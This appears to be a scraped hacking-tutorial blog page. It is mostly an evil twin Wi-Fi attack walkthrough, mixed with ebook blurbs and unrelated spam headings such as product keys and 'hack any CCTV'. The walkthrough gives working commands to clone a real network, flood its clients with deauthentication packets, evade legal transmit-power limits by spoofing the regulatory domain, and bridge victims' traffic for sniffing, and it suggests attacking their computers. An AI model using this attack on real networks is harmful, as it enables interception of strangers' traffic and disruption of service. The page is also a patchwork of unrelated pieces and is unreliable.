How To Whiten Your Teeth At Home In 2 Minutes

Tutorial on Hacking With Kali Linux

2014-07-16T01:55:00.000-07:00

Hacking With Kali Linux

Why Kali Linux?

With Kali Linux, hacking becomes much easier since you have all the tools (more than 300 pre-installed tools) you are probably ever gonna need. Others can be downloaded easily. Now this tutorial will get you started and you'll be hacking with Kali Linux before you know it.

The problem with beginners

Now, I've been dealing with beginners since a long time. What they want is magic. A tool which is easy to use, works on Windows, can be download by searching on Google and clicking on the first link we see, and will do all the hacking itself on the push of a button. Sadly, no such tool exists. Hacking is an art, and it takes years of practice to master it. So how to get started? Having no idea about hacking is okay, but being a newbie with computers in general is not allowed. When I say beginner, I mean someone who has no experience with programming and with hacking methodologies. I didn't mean someone who needs a 1 page guide on how to download a tool. If you want to be a hacker, you have to work hard. So how to get started? If you have installed Kali Linux, click here to skip past the installation paragraphs and go to hacking section of this post)

Getting Started

Now, I am not boring you with theory (^ As if all this wasn't enough theory). My aim is to get you to the point where you can start hacking with Kali Linux as soon as possible. What I'm gonna do is tell you what to do. The process is rather simple :-

If you are totally clueless as to what Kali Linux is - Go to Kali's official website and get an idea.
If you haven't already done that,go to their download page and download Kali Linux iso file.

Things get tough now

If you have no previous experience with Linux and virtual machines and all that stuff, getting Kali Linux up and running won't be a piece of cake.You have 2 options :

1. Read the Kali official documentation

That will give you an idea about what is a virtual machine, how OS can be run from USB, and how to create a partition and run 2 OS simultaneously. This is what I recommend. For that, go to Kali Official Documentation .

2. Read my modified version of Kali documentation

The second option is to look at these posts, which are just sparingly modified versions of the Kali docs, and offer no advantage other than saving your time as their documentations cover much more than what the ones here do, and you don't really need to know all so much... yet. I'm linking them up here:

Command Line Interface

Some bash commands

Now, if you are really sure about becoming a hacker, you have to get used to linux, and specifically the command line interface. It is often compared to (and rightly so) to command prompt of Windows, but Linux' cli is much efficient and better than command prompt. What you have to do is do all the usual tasks you do in Windows in cli of Linux. Use cd to navigate, poweroff to shutdown, etc.

A pretty awesome site for that is - http://linuxcommand.org/

Going through the complete site is on its own enough exercise to keep you occupied for a month, but you can proceed gradually. The first few tutorials here will keep in mind that you don't have much info about cli, and will be really beginner friendly.

Some Useful Commands:

If you don't plan on learning all of linux cli commands, here are a few that will keep your boat afloat.

The default username and password is 'root' and 'toor'.
Type 'poweroff' in the terminal to shutdown.
apt-get command can be used to install tools and updates.
apt-get update and apt-get upgrade will update all the programs installed on your machine.
apt-get dist-upgrade will install the latest distribution of Kali(i.e. it upgrades your OS).

PS : Tapping <tab> while typing makes Kali complete the word for you . Double tapping <tab> makes it display all possible words starting with the incomplete word. Ctrl+c stops the functioning of any tool that is running. Pressing the up arrow key shows the command you last typed.

Some Real Hacking With Kali Linux

Assuming you've gone through the above steps and are comfortable with your new hacking environment, its time to do some real hacking with Kali Linux. My recommendation would be to start by hacking a wifi, then do some penetration testing, and maybe read something on Denial of Service when you have free time. Links here-

Hack wireless networks in Kali Linux using aircrack

Penetration Testing In Kali For Beginners

Denial Of Service Attacks

Evil Twin Tutorial

2014-07-14T02:31:00.000-07:00

Prerequisites

You will also need to install a tool (bridge utils) which doesn't come pre-installed in Kali. No big deal-

apt-get install bridge-utils

Objectives

The whole process can be broken down into the following steps-

Finding out about the access point (AP) you want to imitate, and then actually imitating it (i.e. creating another access point with the same SSID and everything). We'll use airmon-ng for finding necessary info about the network, and airbase-ng to create it's twin.
Forcing the client to disconnect from the real AP and connecting to yours. We'll use aireplay-ng to deauthenticate the client, and strong signal strength to make it connect to our network.
Making sure the client doesn't notice that he connected to a fake AP. That basically means that we have to provide internet access to our client after he has connected to the fake wireless network. For that we will need to have internet access ourselves, which can be routed to out client.
Have fun - monitor traffic from the client, maybe hack into his computer using metasploit.

PS: The first 3 are primary objectives, the last one is optional and not a part of evil twin attack as such. It is rather a man in the middle attack. Picture credits : firewalls.com

Information Gathering - airmon-ng

To see available wireless interfaces-

iwconfig

To start monitor mode on the available wireless interface (say wlan0)-

airmon-ng start wlan0

To capture packets from the air on monitor mode interface (mon0)

airodump-ng mon0

After about 30-40 seconds, press ctrl+c and leave the terminal as is. Open a new terminal.

Creating the twin

Now we will use airbase-ng to create the twin network of one of the networks that showed up in the airodump-ng list. Remember, you need to have a client connected to the network (this client will be forced to disconnect from that network and connect to ours), so choose the network accordingly. Now after you have selected the network, take a note of it's ESSID and BSSID. Replace them in given code-

airbase-ng -a <BSSID here> --essid <ESSID here> -c <channel here> <interface name>

If you face any problems, a shorter code will be-

airbase-ng --essid <name of network> mon0

Remove the angular brackets (< & >) and choose any channel that you want. Also, the BSSID can be randomly selected too, and doesn't have to match with the target. The interface would be mon0 (or whatever is the card you want to use) . The only thing identical about the twins has to be their ESSIDs (which is the name of the network). However, it is better to keep all parameters same to make it look more real. After you are done entering the parameters and running the command, you'll see that airbase turned your wireless adapter into an access point.
Note : We will need to provide internet access to our client at a later stage. Make sure you have a method of connecting to the net other than wireless internet, because your card will be busy acting like an AP, and won't be able to provide you with internet connectivity. So, either you need another card, or broadband/ADSL/3G/4G/2G internet.

Man in the middle attack : Pic Credits: owasp.net

Telling the client to get lost

Now we have to ask the client to disconnect from that AP. Our twin won't work if the client is connected to the other network. We need to force it to disconnect from the real network and connect to the twin.

For this, the first part is to force it to disconnect. Aireplay will do that for us-

aireplay-ng --deauth 0 -a <BSSID> mon0 --ignore-negative-one

The 0 species the time internal at which to send the deauth request. 0 means extremely fast, 1 would mean send a packet every 1 seconds, 2 would mean a packet every 2 seconds, and so on. If you keep it as 0, then your client would be disconnected in a matter of seconds, so fire up the command, and press ctrl+c after a few seconds only. Note that the deauth is sent on broadcast, so all the clients (not just one) connected to the network will disconnect. Disconnecting a specific client is also possible.

Not the real one, but why the fake one

Even after being disconnected from the real AP, the client may choose to keep trying to connect to the same AP a few more times, instead of trying to connect to ours. We need to make our AP stand out, and for that, we need more signal strength. There are 2 ways to do that-

Physically move closer to the client.
Power up your wireless card to transmit at more power.

The latter can be done with the following command -

iwconfig wlan0 txpower 27

Here 27 is the transmission power in dBm. Some cards can't transmit at high power, and some can transmit at extremely high power. Alfa cards usually support upto 30dBm, but many countries don't allow the card to transmit at such powers. Try changing 27 to 30 and you'll see what I mean. In Bolivia, however, you can transmit at 30dBm, and by changing the regulatory domain, we can overcome the power limitation.

iw reg set BO

iwconfig wlan0 txpower 30

It is strongly advised to not break laws as the transmission limits are there for a reason, and very high power can be harmful to health (I have no experimental evidence). Nevertheless, the client should connect to you if your signal strength is stronger than that you the real twin.

Note : If you are unable to get your client to connect to you, there is another option. You can leave him with no options. If you keep transmitting the deauth packets continuously (i.e. don't press ctrl+c after the client has disconnected), he will have no choice but to connect to you. However, this is quite an unstable situation, and the client will go back to the real twin as soon as it gets the chance.

Give the fake AP internet access

Now we need to provide internet access to the fake AP. This can be done in various ways. In this tutorial, we will consider that we have an interface x0 which has internet connectivity. Now, if you are connected to net via wireless, replace x0 with wlan1 or wlan0, a 3G modem will show up as ppp0. Nevertheless, you just have to know which interface is providing you with internet, and you can route the internet access to your client.

Interfaces

x0 - This has internet access
at0 - This is create by airbase-ng (wired face of the wireless access point). If you can somehow give internet access to at0, then the clients connected to your fake wireless network can connect to the net.
evil - This is an interface that we will create, whose job will be to actually bridge the networks.

Creating evil

We will use Bridge control utility provided by Kali, brctl. Execute the following code-

brctl addbr evil

This will create the bridge. Now we have to specify which two interfaces have to be bridged-

brctl addif evil x0

brctl addif evil at0

We can assign an IP to the interfaces and bring them up using-

ifconfig x0 0.0.0.0 up

ifconfig at0 0.0.0.0 up

Also bring up the evil interface (the interfaces aren't always up by default so we have to do this many times)

ifconfig evil up

Now to auto configure all the complicated DHCP settings, we'll use dhclient

dhclient3 evil &

Finally, all the configurations have been completed. You can execute ifconfig and see the results, which will show you all the interfaces you have created.
Officially, the evil twin attack is complete. The client is now connected to your fake network, and can use the internet pretty easily. He will not have any way to find out what went wrong. However, the last objective remains.

Have fun

Now that the client is using the internet via our evil interface, we can do some evil stuff. This actually comes under a Man In The Middle attack (MITM), and I'll write a detailed tutorial for it later. However, for the time being, I will give you some idea what you can do.

Sniffing using Wireshark

Now all the packets that go from the user to the internet pass through out evil interface, and these packets can be monitored via wireshark. I won't teach you how to use it here, since it is a GUI tool. You can take a look at their website to get an idea on how to use wireshark. Pic credits: The picture on the right has been directly taken from their website.

http://www.wireshark.org/docs/wsug_html_chunked/ChapterIntroduction.html

Special Thanks

Matthew Bernard for his useful comment with some tips and a number of corrections http://www.kalitutorials.net/2014/07/evil-twin-tutorial.html?showComment=1406591245609#c5539483407421385761
The screenshots have also been taken by him and provided to me for usage (I would love to see more helpful visitors like him).

Sql Ebook: A Primer on SQL

2014-07-06T02:32:00.000-07:00

Sql Beginners Ebook

Author's personal note

Welcome to the second edition of A Primer on SQL. The first edition was more popular than I had initially imagined. The overwhelming response and the many readers who wrote back with comments or a simple thanks, led me to putting efforts into making the second edition. There are many corrections and clarifications throughout the chapters, alongiwth two major changes. The introduction of using SQLite as an alternative DBMS in the text, and a new chapter on calculated fields. I hope that old and new readers find this text even more useful now in its presentation. I have tried to keep the spirit of the original text, a short introduction to the basics. As always, your questions, comments, criticism, encouragement and corrections are most welcome and you can e-mail me at rhlbatra[aht]hotmail[dot]com. Rahul Batra (24th February 2014) Preface to the first edition Welcome to the first edition of A Primer on SQL .
As you would be able to see,the book is fairly short and is intended as an introduction to the basics of SQL. No prior experience with SQL is necessary, but some knowledge of working with computers in general is required. My purpose of writing this was to provide a gentle tutorial on the syntax of SQL,so that the reader is able to recognize the parts of queries they encounter and even be able to write simple SQL statements and queries themselves.
Your questions, comments, criticism, encouragement and corrections are most welcome and you can e-mail me at rhlbatra[at]hotmail[dot]com. I’ll try answering all on-topic mails and will try to include suggestions, errors and omissions in future editions. Rahul Batra (8th October 2012)
PS: "Author's personal note" Author here means the author of the book not the one who wrote the blog post

About the author

Rahul Batra was first introduced to programming in 1996 in GWBASIC, but he did not seriously foray into it till 2001 when he started learning C++. Along the way, there were dabblings in many other languages like C, Ruby, Perl and Java. He has worked on Oracle, MySQL, Sybase ASA, Ingres and SQLite. Rahul has been programming professionally since 2006 and currently lives and works in Gurgaon, India.

Preview of the book

Download the book

You can download the book for free here - https://leanpub.com/aprimeronsql

You can also choose to pay for the book which will help the author.

Read the book online

You can read the book online right here-

Reverse Engineering Ebook : Hacking the XBOX

2014-07-06T02:16:00.000-07:00

About XBox Hacking

The Xbox video game console from Microsoft® is an exciting piece of hardware, and not just because it can play the latest video games. The powerful and cheap Xbox has the potential to be used as a PC, an all-in-one media player, or even a web server. Unfortunately, there is a dearth of books that can teach a reader how to explore and modify modern electronic hardware such as the Xbox. Most electronics textbooks are theory-oriented and very focused, whereas real hacking requires a broad set of practical skills and knowledge.
Also, the few practical books on hardware hacking that I had as inspiration as a child have long been outdated by the fast pace of technology. This book is intended to fill the need for a practical guide to understanding and reverse engineering modern computers: a handbook for a new generation of hackers. The ultimate benefit of hacking the Xbox is its educational value, or as the saying goes, “Given a fish, eat for a day; learn to fish, eat for a lifetime.” Hence, this book focuses on introducing basic hacking techniques — soldering, reverse engineering, debugging — to novice hackers, while providing hardware references and insight that may be useful to more seasoned hackers. The Xbox has served to educate both the security community and the hacking community: not because it is an outstanding example of security, but because it is a high profile, high volume product made by a large company whose focus was recently defined to be security by its chairman.1 The Xbox experience shows that building trustable clients in a hostile user environment is hard, even for a large, well-funded company. One observation is that this risk and difficulty of building cheap, trustable hardware clients places an upper bound on the impor- tance of the secret that can be trusted to such client hardware. In addition, the Xbox provides a consistent teaching example, with almost 10 million nearly identical units out there at the time of writing. The similarity of the Xbox’s architecture to a vanilla PC adds even more educational value to Xbox hacking, since much of the discussion in this book also applies directly to the much broader subject of PCs.

A little teaser to what the book contains
It is nearly 300 pages so it contains a lot
of stuff (on a variety of topics)

Another interesting aspect of Xbox hacking is the underground society of hardware hackers following the Xbox. The people who hacked the Xbox and the expertise they attained will be relevant long after the Xbox has become a dusty yard sale piece. Hence, there is a conscious social focus to this book. I have included profiles of a sampling of Xbox hacking personalities. The hope is to inspire people, through role models, to pick up a screwdriver and a soldering iron and to start hacking. Instilling this sort of exploratory spirit in the younger generations will be important in the long run for preserving the pool of talented engineers that drove the technology revolution to where it is today. Many of today’s engineers got their start hacking and tinkering with ham radios, telephones and computers which, back in that day, shipped with a complete set of schematics and source code. This pool of engineering talent is essential for maintaining a healthy economy and for maintaining strong national security in the computer age.

Download the book

You can download the book from this website http://www.nostarch.com/xboxfree/ or use the direct link
http://bunniefoo.com/nostarch/HackingTheXbox_Free.pdf

Read the book online

You can read the book right here. Take a look at a few pages and see if you like the book and want to download and read it all.

Hacking Secret Ciphers With Python

2014-07-03T09:03:00.000-07:00

About the ebook

There are many books that teach beginners how to write secret messages using ciphers. There are a couple books that teach beginners how to hack ciphers. As far as I can tell, there are no books to teach beginners how to write programs to hack ciphers. This book fills that gap.
This book is for complete beginners who do not know anything about encryption, hacking, or cryptography. The ciphers in this book (except for the RSA cipher in the last chapter) are all centuries old (helps develop basic concepts), and modern computers now have the computational power to hack their encrypted messages.

No modern organization or individuals use these ciphers anymore. As such, there’s no reasonable context in which you could get into legal trouble for the information in this book.
This book is for complete beginners who have never programmed before. This book teaches basic programming concepts with the Python programming language. Python is the best language for beginners to learn programming: it is simple and readable yet also a powerful programming language used by professional software developers. The Python software can be downloaded for free from http://python.org and runs on Linux, Windows, OS X, and the Raspberry Pi.
There are two definitions of “hacker”. A hacker is a person who studies a system (such as the rules of a cipher or a piece of software) to understand it so well that they are not limited by the original rules of that system and can creatively modify it to work in new ways. “Hacker” is also used to mean criminals who break into computer systems, violate people’s privacy, and cause damage. This book uses “hacker” in the first sense. Hackers are cool. Criminals are just people who think they’re being clever by breaking stuff. Personally, my day job as a software developer pays me way more for less work than writing a virus or doing an Internet scam would.
On a side note, don’t use any of the encryption programs in this book for your actual files. They’re fun to play with but they don’t provide true security. And in general, you shouldn’t trust the ciphers that you yourself make. As legendary cryptographer Bruce Schneier put it, “Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can’t break. It’s not even hard. What is hard is creating an algorithm that no one else can break, even after years of analysis. And the only way to prove that is to subject the algorithm to years of analysis by the best cryptographers around.”
This book is released under a Creative Commons license and is free to copy and distribute (as long as you don’t charge money for it). The book can be downloaded for free from its website at http://inventwithpython.com/hacking. If you ever have questions about how these programs work, feel free to email me at al@inventwithpython.com.

Soltumia

How to make Youtube Channel 2015 - Step By Step Tutorial

Top 5 Laptops 2015 - Top Laptops Below $600

Our Top Laptops

5Toshiba Satellite C55D-A5120 Laptop

4ASUS K200MA-DS01T HD Touchscreen

3Asus X200MA Touchscreen Laptop

2Samsung Chromebook 2

1ASUS Transformer Book T100TA-H2-GR

How To Built A Website - Built Website For Free

Register

Use a Blog Title

Templates

Gadgets

Dashboard

How To Grow Hair Faster And Longer - Jpt videos

How To Hack Test Your WPA/WPA2 Wi-Fi With Kali Linux

Windows 7 Product keys 32 and 64 Bit 2015 Updated

Windows 7 Serial Key 32 Bit

Windows 7 Serial Key 64 Bit

Windows 7 New Product Keys For All 2014 Keys

9 Reasons Why You Should Buy an Android Phone Instead of an Iphone

Simple Steps to Remove Synced Picasa Albums from Android Gallery

How to Easily Record Screen on Android Lollipop Device

How to Get Recycle Bin Feature on Android

How to Get Recycle Bin Feature on Android with Dumpster

Check out this youtube channel for more:- JPT VIDEOS

More Tricks:-

8 Amazing Tips to Speed Up Your Android Phone

How to Speed Up Your Android Smartphone

1. Think about using a different launcher

2. Lower your settings on your phone

3. Turn off the animations on your Android

4. Disable the plugin browser

5. Do not use live wallpaper

6. Clear out your apps every now and again

7. Replace your heavy apps with lighter ones

8. Remove or turn off background apps

5 Best Android Apps to Watch Movies & TV Shows for Fre

You can get your favorite Movies and TV Shows right on your display by using the following apps. Pick up your favorite Android app from the list and get entertained instantly!

5 Android Apps to Watch Free Movies & Shows

Blind SQL Injection

What we know so far

What I didn't tell you

Finding a suitable website

Finding out if target is vulnerable

Finding other details

Finding version

Finding tables, columns and records

Table name

Column Name

1. Guessing the whole name

2. Guessing character by character using equality (=)

3. Guessing character using > or < followed by =

Extracting data

SQL Injection Intermediate Level

Types of SQL Injection attacks

Technical implementations

Incorrectly filtered escape characters

Incorrect type handling

Blind SQL injection

Conditional responses

Second Order SQL Injection

Blind SQLi Tutorial

Kali Linux 1.1.0 Released

DownloadorUpgradeKaliLinux1.1.0

HACK ANY CCTV CAMERAS USING GOOGLE SEARCH

Can You Hack Someone's Facebook Password Using Some Software Or Website?

The Facebook password cracking Websites and Software

The truth!

Why do these 'Hackers' do all that?

Why people fall in their webs?

So is Facebook account an 'unbreakable fortress'?

See You All In Next Tutorial

Reading Wifite Source : Coding Hacking Tools In Python

Tasks

The wifite code

#!/usr/bin/python

# -*- coding: utf-8 -*-

General information

# -- coding: utf-8 --